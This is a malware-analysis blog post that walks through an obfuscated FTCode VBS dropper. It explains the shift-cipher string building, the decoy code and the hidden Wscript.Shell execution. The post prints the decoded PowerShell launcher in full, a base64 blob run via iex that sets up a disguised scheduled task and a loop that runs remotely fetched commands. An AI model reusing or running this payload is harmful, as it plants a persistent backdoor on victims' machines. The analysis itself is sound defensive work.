FTCode: VBS Analysis

Little disclaimer for the reader:

All materials used inside this article can and might harm your computer if executed outside a safe environement and without proper knowledge.
No responsibilities of your actions will be taken by the author of this article, meaning that whatever you do (legal or illegal), you will be hold responsible.
The goal of this article is strictly for educational purposes only.

Introduction

The following report is intended to illustrate how an attacker could exploit a VBS file to execute malicious code on an infected machine and the techniques used. Although there are extremely quick methodologies for analyzing similar files such as a debugger or sandbox, the purpose of this analysis is purely for educational purposes, trying to understand line by line the obfuscation methods used by the attacker without the help of external tools other than a trivial text editor and pure logic.

The code

The image below shows the logic of the VBS file:

  • 6700 lines of calls to the function daxv passing it an integer as argument.
  • 2 string manipulation functions.
  • Executing the final payload via wscript.exe.
End of the VBS file with the Run command

For simplicity, we modify function names, arguments, and variables to be more conversational:

VBS manually prettified and renamed all the variables

Function: concatena_payload

Receiving a positive or negative integer as argument, the following function will take care of calculating the string chunk to be concatenated to the global variable payload.

Function: replaced_string

The variable var_int_shift is the integer that will be added to the constant 77, so as to determine the correct ASCII character to concatenate to the payload, a real shifting cypher. The Replace function is called to replace within the const_str_blank_string once found the string jgxhf with the string xfszd. Unfortunately, however, unless it has made errors in parsing, such replacement will never succeed since the string to search on will always be an empty string.

It is important to note that to obfuscate the code as much as possible and make the analysis more complex to a human, functions or snippets of code are executed that have nothing to do with the generation of the final payload.

Executing the payload

Once the payload to be executed has been determined, the Wscript.Shell object is created by executing the Run method, passing the following information to it as arguments:

  • The payload to execute
  • The constant 0 that will run the shell in hidden mode (HideWindow). More information on the various types of `Run` method execution can be found at the following link: https://ss64.com/vb/run.html

Once all the logic of the VBS code has been executed, the contents of the payload variable will be as follows:

powershell -WindowStyle Hidden -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'JHhlZ2FndGhzZGIgPSAkZW52OlBVQkxJQyArICJcTGlicmFyaWVzIgppZiAoLW5vdCAoVGVzdC1QYXRoICR4ZWdhZ3Roc2RiKSkgeyBtZCAkeGVnYWd0aHNkYjsgfQokdHZ4dW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pdnN5ICR1Y3l5Z3hoY2J2OwogICAgaWYoICR3dXhoaWNpIC1uZSAib2siKXsKICAgICAgcmkgLVBhdGggJHh1d2N5ZWV0IC1Gb3JjZTsKICAgICAgZXhpdDsKICAgIH0KICB9CiAgcmV0dXJuIChnZXQtY29udGVudCAkeHV3Y3llZXQpLnNwbGl0KCcsJyk7Cn0KJGhjaGF5dmV3dmIgPSAoc2NodGFza3MuZXhlIC9jcmVhdGUgL1ROICJXaW5kb3dzQXBwbGljYXRpb25TZXJ2aWNlIiAvc2MgREFJTFkgL3N0IDAwOjAwIC9mIC9SSSAxOSAvZHUgMjM6NTkgL1RSICR0dnh1aHd6amNnKTsgCmlmICggVGVzdC1QYXRoICR4dXdjeWVldCApewogICRhdnh1eWl2eiwgJGVjYWNmd3h0ZiA9ICBzZnpldWdqZyAkZmFsc2U7CiAgaWYoICRlY2FjZnd4dGYubGVuZ3RoIC1uZSAxNiAgKXsgJGF2eHV5aXZ6LCAkZWNhY2Z3eHRmID0gIHNmemV1Z2pnICR0cnVlOyB9Cn1lbHNlewogICRhdnh1eWl2eiwgJGVjYWNmd3h0ZiA9ICBzZnpldWdqZyAkdHJ1ZTsKfQokbXl1cmxwb3N0ID0gYWZnZWl2c3k7CndoaWxlKCAkY2NodHlpaWMgKXsKICBpYW13b3JrMjsKICB0cnl7CiAgICBpZiggJGNjaHR5aWljIC1hbmQgKCRjY2h0eWlpYy5sZW5ndGggLWd0IDMwKSAgKXsKICAgICAgaWV4ICRjY2h0eWlpYzsKICAgIH07CiAgfWNhdGNoeyBzamJ1Z3h0aGggJF8uRXhjZXB0aW9uLk1lc3NhZ2U7IH07CiAgU3RhcnQtU2xlZXAgLXMgMjgwOwogICRjY2h0eWlpYyA9IHNlbmRwb3N0MjsKfTsKcmkgLVBhdGggJGl2eWh6dXggLUZvcmNlOwo=' ) );iex $a;                                                                                                                                                                                                                                                                                                 

To extract the payload, just comment out and disarm the payload execution and print the strings to terminal, running it with cscript.exe as shown on the screen:

Extracted payload from after executing the VBS file with cscript.exe

Subscribe to FortiFox

Don’t miss out on the latest posts. Sign up to stay updated on new releases!
[email protected]
Subscribe